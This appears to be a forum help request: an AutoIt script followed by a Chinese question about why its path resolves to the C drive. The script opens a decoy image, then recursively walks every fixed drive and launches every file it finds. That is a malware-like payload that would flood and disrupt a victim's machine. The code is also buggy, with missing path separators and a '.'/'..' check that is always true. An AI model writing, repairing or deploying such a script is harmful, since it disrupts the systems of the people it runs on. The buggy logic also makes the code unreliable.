ShellExecute("1000.jpg", "", @ScriptDir, "open")
Sleep(3000)
$txt = FileOpen("123.txt", 1)
$var = DriveGetDrive("FIXED")
If Not @error Then
For $i = 1 To $var[0]
Search($var[$i] & "", "")
Next
EndIf
Func Search($current, $ext)
Local $search = FileFindFirstFile($current & "\*.*")
While 1
Dim $file = FileFindNextFile($search)
If @error Or StringLen($file) < 1 Then ExitLoop
If Not StringInStr(FileGetAttrib($current & "" & $file), "D") And ($file <> "." Or $file <> "..") Then
If StringRight($current & "" & $file, StringLen($ext)) = $ext Then
;~ MsgBox(0, 0, $current & "" & $file)
;FileWriteLine($txt, $current & "" & $file)
ShellExecute($current & "" & $file, "", @ScriptDir, "open")
EndIf
EndIf
If StringInStr(FileGetAttrib($current & "" & $file), "D") And ($file <> "." Or $file <> "..") Then
Search($current & "" & $file, $ext)
EndIf
WEnd
Return
EndFunc
这个获取路径怎么是C盘了? |